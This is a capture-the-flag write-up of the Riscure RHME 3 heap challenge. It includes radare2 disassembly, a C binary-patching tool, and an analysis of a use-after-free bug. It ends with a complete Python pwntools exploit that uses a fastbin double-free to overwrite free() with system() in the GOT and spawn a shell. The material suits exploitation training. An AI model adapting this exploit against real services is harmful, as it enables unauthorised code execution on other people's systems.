Hi,
This year, Riscure organized a CTF composed of 3 challenges : 2 crypto challenges and 1 exploitation challenge.
I only did the exploitation challenge.
We'll start by patching the binary in order to run it on our box. Then reversing the binary and finally exploiting it. We'll use radare2 for the whole analysis.
In the background_process() daemonize() functions, there are some functions calls that cause the program to exit() if the conditions are not met.
background_process() function
deamonize() function
This year, Riscure organized a CTF composed of 3 challenges : 2 crypto challenges and 1 exploitation challenge.
I only did the exploitation challenge.
We'll start by patching the binary in order to run it on our box. Then reversing the binary and finally exploiting it. We'll use radare2 for the whole analysis.
Patching
In the background_process() daemonize() functions, there are some functions calls that cause the program to exit() if the conditions are not met.
background_process() function
[0x00400ec0]> pdf @ sym.background_process
/ (fcn) sym.background_process 236
| sym.background_process ();
| ; var int local_128h @ rbp-0x128
| ; var int local_118h @ rbp-0x118
| ; var int local_110h @ rbp-0x110
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x004021b2 (main)
| 0x00401033 55 push rbp
| 0x00401034 4889e5 mov rbp, rsp
| 0x00401037 4881ec300100. sub rsp, 0x130
| 0x0040103e 4889bdd8feff. mov qword [local_128h], rdi
| 0x00401045 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x44a8 ; '('
| 0x0040104e 488945f8 mov qword [local_8h], rax
| 0x00401052 31c0 xor eax, eax
| 0x00401054 488b85d8feff. mov rax, qword [local_128h]
| 0x0040105b 4889c7 mov rdi, rax
| 0x0040105e e82dfdffff call sym.imp.getpwnam
| 0x00401063 488985e8feff. mov qword [local_118h], rax
| 0x0040106a 4883bde8feff. cmp qword [local_118h], 0
| ,=< 0x00401072 750a jne 0x40107e
| | 0x00401074 bf01000000 mov edi, 1
| | 0x00401079 e8f2fdffff call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00401072 (sym.background_process)
| `-> 0x0040107e 488b95d8feff. mov rdx, qword [local_128h]
| 0x00401085 488d85f0feff. lea rax, qword [local_110h]
| 0x0040108c be44234000 mov esi, str._opt_riscure__s ; 0x402344 ; "/opt/riscure/%s"
| 0x00401091 4889c7 mov rdi, rax
| 0x00401094 b800000000 mov eax, 0
| 0x00401099 e8b2fdffff call sym.imp.sprintf ; int sprintf(char *s,
| 0x0040109e 488d85f0feff. lea rax, qword [local_110h]
| 0x004010a5 4889c7 mov rdi, rax
| 0x004010a8 e809ffffff call sym.daemonize
| 0x004010ad be00000000 mov esi, 0
| 0x004010b2 bf00000000 mov edi, 0
| 0x004010b7 e884fcffff call sym.imp.setgroups
| 0x004010bc 85c0 test eax, eax
| ,=< 0x004010be 790a jns 0x4010ca
| | 0x004010c0 bf01000000 mov edi, 1
| | 0x004010c5 e8a6fdffff call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x004010be (sym.background_process)
| `-> 0x004010ca 488b85e8feff. mov rax, qword [local_118h]
| 0x004010d1 8b4014 mov eax, dword [rax + 0x14] ; [0x14:4]=1
| 0x004010d4 89c7 mov edi, eax
| 0x004010d6 e835fdffff call sym.imp.setgid
| 0x004010db 85c0 test eax, eax
| ,=< 0x004010dd 790a jns 0x4010e9
| | 0x004010df bf01000000 mov edi, 1
| | 0x004010e4 e887fdffff call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x004010dd (sym.background_process)
| `-> 0x004010e9 488b85e8feff. mov rax, qword [local_118h]
| 0x004010f0 8b4010 mov eax, dword [rax + 0x10] ; [0x10:4]=0x3e0002
| 0x004010f3 89c7 mov edi, eax
| 0x004010f5 e886fdffff call sym.imp.setuid
| 0x004010fa 85c0 test eax, eax
| ,=< 0x004010fc 790a jns 0x401108
| | 0x004010fe bf01000000 mov edi, 1
| | 0x00401103 e868fdffff call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x004010fc (sym.background_process)
| `-> 0x00401108 90 nop
| 0x00401109 488b45f8 mov rax, qword [local_8h]
| 0x0040110d 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x00401116 7405 je 0x40111d
| | 0x00401118 e8a3fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401116 (sym.background_process)
| `-> 0x0040111d c9 leave
\ 0x0040111e c3 ret
deamonize() function
[0x00400ec0]> pdf @ sym.daemonize / (fcn) sym.daemonize 125 | sym.daemonize (); | ; var int local_18h @ rbp-0x18 | ; var int local_8h @ rbp-0x8 | ; var int local_4h @ rbp-0x4 | ; CALL XREF from 0x004010a8 (sym.background_process) | 0x00400fb6 55 push rbp | 0x00400fb7 4889e5 mov rbp, rsp | 0x00400fba 4883ec20 sub rsp, 0x20 | 0x00400fbe 48897de8 mov qword [local_18h], rdi | 0x00400fc2 e899feffff call sym.imp.getppid | 0x00400fc7 83f801 cmp eax, 1 | ,=< 0x00400fca 7464 je 0x401030 | | 0x00400fcc e8bffeffff call sym.imp.fork | | 0x00400fd1 8945f8 mov dword [local_8h], eax | | 0x00400fd4 837df800 cmp dword [local_8h], 0 | ,==< 0x00400fd8 790a jns 0x400fe4 | || 0x00400fda bf01000000 mov edi, 1 | || 0x00400fdf e88cfeffff call sym.imp.exit ; void exit(int status) | || ; JMP XREF from 0x00400fd8 (sym.daemonize) | `--> 0x00400fe4 837df800 cmp dword [local_8h], 0 | ,==< 0x00400fe8 7e0a jle 0x400ff4 | || 0x00400fea bf00000000 mov edi, 0 | || 0x00400fef e87cfeffff call sym.imp.exit ; void exit(int status) | || ; JMP XREF from 0x00400fe8 (sym.daemonize) | `--> 0x00400ff4 e857fdffff call sym.imp.setsid | | 0x00400ff9 8945fc mov dword [local_4h], eax | | 0x00400ffc 837dfc00 cmp dword [local_4h], 0 | ,==< 0x00401000 790a jns 0x40100c | || 0x00401002 bf01000000 mov edi, 1 | || 0x00401007 e864feffff call sym.imp.exit ; void exit(int status) | || ; JMP XREF from 0x00401000 (sym.daemonize) | `--> 0x0040100c bf00000000 mov edi, 0 | | 0x00401011 e88afdffff call sym.imp.umask ; int umask(int m) | | 0x00401016 488b45e8 mov rax, qword [local_18h] | | 0x0040101a 4889c7 mov rdi, rax | | 0x0040101d e88efcffff call sym.imp.chdir | | 0x00401022 85c0 test eax, eax | ,==< 0x00401024 790b jns 0x401031 | || 0x00401026 bf01000000 mov edi, 1 | || 0x0040102b e840feffff call sym.imp.exit ; void exit(int status) | || ; JMP XREF from 0x00400fca (sym.daemonize) | |`-> 0x00401030 90 nop | | ; JMP XREF from 0x00401024 (sym.daemonize) | `--> 0x00401031 c9 leave \ 0x00401032 c3 ret
- getppid()
- setgroups()
- setgid()
- setuid()
- getpwname() (i didn't patch it, i created the user)
- chdir() (i didn't patch it, i created the user)
For the patching, I wrote a simple C program that does the job, it searches for signatures and then patch it.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int patch_once (FILE *fp, char *needle, int len_needle, char *mod, int len_mod)
{
char buf[512];
char *ptr;
int idx;
int found;
int cur_off;
int rewinded;
fseek (fp, 0, SEEK_SET);
// look for needle
rewinded = 0;
do {
cur_off = ftell (fp);
memset (buf, 0, sizeof (buf));
ptr = fgets (buf, sizeof (buf), fp);
if (!ptr)
break;
//printf ("cur_off : %d\n", cur_off);
// look for needle
found = -1;
for (idx = 0; idx < sizeof (buf); idx++) {
if (buf[idx] == *needle) {
//printf ("Got first char at %d\n", cur_off + idx);
if (memcmp (buf + idx, needle, len_needle) == 0) {
printf ("[+] Found needle\n");
found = idx;
}
else {
// if we already checked the untruncated buffer
// then move forward
if (rewinded) {
fseek (fp, cur_off + idx + 1, SEEK_SET);
rewinded = 0;
}
// we rewind fully in order to get untruncated buffer
else {
fseek (fp, cur_off + idx, SEEK_SET);
rewinded = 1;
}
}
break;
}
}
// if we found the needle
// then patch it
if (0 <= found) {
printf ("[+] Patched at %d\n", cur_off + found);
fseek (fp, cur_off + found, SEEK_SET);
fwrite (mod, len_mod, 1, fp);
break;
}
} while (ptr);
return 0;
}
int main (int argc, char **argv)
{
FILE *fp;
// patch for getppid in daemonize()
char getppid_sig[] = "\x74\x64\xe8\xbf\xfe\xff\xff";
char getppid_patch[] = "\x75\x64\xe8\xbf\xfe\xff\xff";
// patch for setgroups in background_process()
char setgroups_sig[] = "\xe8\x84\xfc\xff\xff\x85\xc0\x79\x0a";
char setgroups_patch[] = "\xe8\x84\xfc\xff\xff\x85\xc0\x78\x0a";
// patch for setgid in background_process()
char setgid_sig[] = "\xe8\x35\xfd\xff\xff\x85\xc0\x79\x0a";
char setgid_patch[] = "\xe8\x35\xfd\xff\xff\x85\xc0\x78\x0a";
// patch for setuid in background_process()
char setuid_sig[] = "\xe8\x86\xfd\xff\xff\x85\xc0\x79\x0a";
char setuid_patch[] = "\xe8\x86\xfd\xff\xff\x85\xc0\x78\x0a";
fp = fopen ("./pwn.elf", "r+");
if (!fp) {
fprintf (stderr, "[-] Failed opening file\n");
exit (1);
}
printf ("[+] Patching getppid\n");
patch_once (fp, getppid_sig, strlen (getppid_sig), getppid_patch, strlen (getppid_patch));
printf ("\n[+] Patching setgroups\n");
patch_once (fp, setgroups_sig, sizeof (setgroups_sig) - 1, setgroups_patch, sizeof (setgroups_patch) - 1);
printf ("\n[+] Patching setgid\n");
patch_once (fp, setgid_sig, sizeof (setgid_sig) - 1, setgid_patch, sizeof (setgid_patch) - 1);
printf ("\n[+] Patching setuid\n");
patch_once (fp, setuid_sig, sizeof (setuid_sig) - 1, setuid_patch, sizeof (setuid_patch) - 1);
fclose (fp);
return 0;
}
Create the pwn user and the "/opt/riscure/pwn/" directory (unless you patch it ;)).
Now we can run the binary on our machine.
Reversing
Based on the menu we got:
$ ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:Through reversing the functions, we get the following structure for a player:
struct player_s {
int attack;
int defense;
int speed;
int precision;
char *name;
};
The whole program purpose is to manipulate that structure and an array that has room for 10 pointers to this type of object.Looking quickly at functions, we'll find that:
- select_player() takes a non NULL pointer from an array of player, we'll call this the selected player
- del_player() reset the selected player index to NULL but doesn't NULL the selected player
- Lots of functions re-use this selected player pointer, we got a use-after-free situation
We can see where the UAF happens through cross references:
[0x00400ec0]> axt obj.selected data 0x401e42 mov rbx, qword obj.selected in sym.set_attack data 0x401c96 mov qword obj.selected, rax in sym.select_player data 0x401cb6 mov rax, qword obj.selected in sym.select_player data 0x401fc1 mov rbx, qword obj.selected in sym.set_precision data 0x4020cb mov rax, qword obj.selected in sym.show_player data 0x4020f2 mov rax, qword obj.selected in sym.show_player data 0x401ec1 mov rbx, qword obj.selected in sym.set_defense data 0x401d3a mov rax, qword obj.selected in sym.set_name data 0x401db9 mov rax, qword obj.selected in sym.set_name data 0x401d65 mov rax, qword obj.selected in sym.set_name data 0x401da7 mov rax, qword obj.selected in sym.set_name data 0x401fff mov rax, qword obj.selected in sym.edit_player data 0x401f41 mov rbx, qword obj.selected in sym.set_speed
Through this UAF we can cause a fastbins double-free situation:
- name then the player structure is free()
- realloc() is called in edit_player(), we can use this to provoke another free on name :)
Exploitation
The game plan:
- create 1 player with our command and 2 players with a small name (< 10 chars), 1 player will serve as a barrier so we don't have the top chunk just after our victim player, even though fastbins are only consolidated through malloc_consolidate() after hitting a threshold
- Now we have player 0, player 1 and player 2.
- select player 1 (our victim player)
- delete player 1 (1st free : free (name); free (header))
- Use the UAF to edit player 1 with a "big" name (50 chars here, still fastbin), this will free name again through realloc() : double free since we got free (name); free (header); free (name).
realloc() free the smaller buffer as it is not enough to store our bigger name. It then allocate a bigger buffer after player 2.
From there it's a classic fastbins double-free attack.
I created an overlap between a header and a controlled name. This allows to read and write memory.
We leak a GOT entry, calculate libc base address and overwrite free() entry with system().
- Now free player 0 to execute your command stored there.
The exploit
Here it is.
#!/usr/bin/python2
'''
author : m_101
desc : exploit for Riscure RHME 3 heap challenge
date : 21/08/2017
'''
from pwn import *
import struct
def recv_all (target, timeout = 1):
result = ''
while target.can_recv (timeout):
result += target.recv ()
return result
def add_player (target, name, attack = 1, defense = 2, speed = 3, precision = 4):
target.sendline ('1')
target.sendline (name)
target.sendline ('%d' % attack)
target.sendline ('%d' % defense)
target.sendline ('%d' % speed)
target.sendline ('%d' % precision)
def del_player (target, index):
target.sendline ('2')
target.sendline ('%d' % index)
def select_player (target, index):
target.sendline ('3')
target.sendline ('%d' % index)
def edit_player_name (target, name):
target.sendline ('4')
# edit name
target.sendline ('1')
target.sendline (name)
# go back to previous menu
target.sendline ('0')
def show_player (target):
target.sendline ('5')
def show_team (target):
target.sendline ('6')
def leak_once (target, addr):
select_player (target, 3)
# now we try to overwrite to the corrupted ptr thanks to the overlap
edit_player_name (target, "c" * 16 + struct.pack ('<I', addr))
recv_all (target)
# leak
select_player (target, 1)
recv_all (target)
show_player (target)
target.recvuntil ('Name: ')
result = target.recvuntil ('A/D/S/P:')
result = result[: -len('A/D/S/P:') - 2]
return result
def leak_bytes (target, addr, n_bytes):
result = ''
cur_addr = addr
while len (result) < n_bytes:
leaked = leak_once (target, cur_addr)
leaked += '\x00'
result += leaked
cur_addr += len (leaked)
result = result[:n_bytes]
return result
def leak_qword (target, addr):
result = leak_bytes (target, addr, 8)
val = u64 (result, endian = 'little')
return val
def write_bytes (target, addr, data):
cur_addr = addr
select_player (target, 3)
# now we try to overwrite to the corrupted ptr thanks to the overlap
edit_player_name (target, "c" * 16 + struct.pack ('<I', cur_addr))
recv_all (target)
# leak
select_player (target, 1)
recv_all (target)
edit_player_name (target, data)
recv_all (target)
def write_dword (target, addr, dword):
write_bytes (target, addr, struct.pack ('<I', dword))
def write_qword (target, addr, qword):
write_bytes (target, addr, struct.pack ('<I', qword & 0xffffffff))
write_bytes (target, addr + 4, struct.pack ('<I', (qword >> 32) & 0xffffffff))
#target = process ('main.elf')
target = remote ('127.0.0.1', 1337)
# leak heap
add_player (target, 'player0')
select_player (target, 0)
del_player (target, 0)
recv_all (target)
show_player (target)
response = recv_all (target)
# parse leak
lines = response.split ('\n')
found = None
leak = None
for line in lines:
if 'A/D/S/P' in line:
found = line
break
if found:
kv = found.split (':')
leak, _, _, _ = kv[1].strip().split (',')
leak = int (leak, 10)
print '[+] Got heap address : 0x%x' % leak
# now play with the heap a bit
print '[+] Prepare heap'
add_player (target, '/bin/bash')
add_player (target, 'player2')
add_player (target, 'player3')
select_player (target, 1)
del_player (target, 1)
recv_all (target)
# create fastbin double free()
# realloc() free player2 name as it is shorter than the asked named
# but we already previously freed() hdr2 and name2
# this provokes our double free condition :D
print '[+] Create fastbin double free'
edit_player_name (target, "a" * 50)
recv_all (target)
# create overlap
print '[+] Create overlap'
# we use a header free space
add_player (target, "b" * 40)
# take another header + overlap a name
add_player (target, "c" * 16 + "d" * 4)
recv_all (target)
print '[+] Overwrite'
# read file
binary = ELF ('main.elf')
free_addr = leak_qword (target, binary.got['free'])
libc_base = free_addr - 0x7da20
system_addr = libc_base + 0x410B0
print 'libc base : 0x%x' % libc_base
print 'free() : 0x%x' % free_addr
print 'system() : 0x%x' % system_addr
write_bytes (target, binary.got['free'], struct.pack ('<Q', system_addr))
leaked = leak_qword (target, binary.got['free'])
print 'leaked : 0x%x' % leaked
print '[+] Spawn shell'
del_player (target, 0)
recv_all (target)
target.interactive ()
Conclusion
This challenge presented a nice UAF vulnerability and using the realloc() trick allowed us to exploit a fastbins double-free.
Another way was to play with heap alignment.
Cheers,
m_101
